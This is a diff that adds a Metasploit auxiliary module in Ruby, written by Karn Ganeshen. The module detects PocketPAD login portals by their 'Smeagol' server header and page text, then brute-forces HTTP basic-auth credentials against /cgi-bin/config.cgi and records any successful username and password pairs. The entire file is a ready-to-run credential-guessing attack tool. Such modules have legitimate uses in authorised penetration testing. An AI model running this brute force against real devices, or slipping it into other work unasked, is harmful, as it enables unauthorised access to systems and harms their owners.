|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::AuthBrute |
| 13 | + include Msf::Auxiliary::Scanner |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'PocketPAD Login Brute Force Utility', |
| 18 | + 'Description' => %{ |
| 19 | + This module scans for PocketPAD login portal, and |
| 20 | + performs a login brute force attack to identify valid credentials. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE |
| 27 | + )) |
| 28 | + end |
| 29 | + |
| 30 | + def run_host(ip) |
| 31 | + unless is_app_popad? |
| 32 | + return |
| 33 | + end |
| 34 | + |
| 35 | + print_status("#{peer} - Starting login brute force...") |
| 36 | + each_user_pass do |user, pass| |
| 37 | + do_login(user, pass) |
| 38 | + end |
| 39 | + end |
| 40 | + |
| 41 | + # |
| 42 | + # What's the point of running this module if the target actually isn't PocketPAD |
| 43 | + # |
| 44 | + |
| 45 | + def is_app_popad? |
| 46 | + begin |
| 47 | + res = send_request_cgi( |
| 48 | + { |
| 49 | + 'uri' => '/', |
| 50 | + 'method' => 'GET' |
| 51 | + }) |
| 52 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 53 | + vprint_error("#{peer} - HTTP Connection Failed...") |
| 54 | + return false |
| 55 | + end |
| 56 | + |
| 57 | + if res && res.code == 200 && res.headers['Server'] && res.headers['Server'].include?("Smeagol") && res.body.include?("PocketPAD") |
| 58 | + vprint_good("#{peer} - Running PocketPAD application ...") |
| 59 | + return true |
| 60 | + else |
| 61 | + vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.") |
| 62 | + return false |
| 63 | + end |
| 64 | + end |
| 65 | + |
| 66 | + # |
| 67 | + # Brute-force the login page |
| 68 | + # |
| 69 | + |
| 70 | + def do_login(user, pass) |
| 71 | + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") |
| 72 | + begin |
| 73 | + res = send_request_cgi( |
| 74 | + { |
| 75 | + 'uri' => '/cgi-bin/config.cgi', |
| 76 | + 'method' => 'POST', |
| 77 | + 'authorization' => basic_auth(user,pass), |
| 78 | + 'vars_post' => { |
| 79 | + 'file' => "configindex.html" |
| 80 | + } |
| 81 | + }) |
| 82 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
| 83 | + vprint_error("#{peer} - HTTP Connection Failed...") |
| 84 | + return :abort |
| 85 | + end |
| 86 | + |
| 87 | + if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol")) |
| 88 | + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") |
| 89 | + report_hash = { |
| 90 | + :host => rhost, |
| 91 | + :port => rport, |
| 92 | + :sname => 'PocketPAD Portal', |
| 93 | + :user => user, |
| 94 | + :pass => pass, |
| 95 | + :active => true, |
| 96 | + :type => 'password' |
| 97 | + } |
| 98 | + report_auth_info(report_hash) |
| 99 | + return :next_user |
| 100 | + else |
| 101 | + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") |
| 102 | + end |
| 103 | + end |
| 104 | +end |
0 commit comments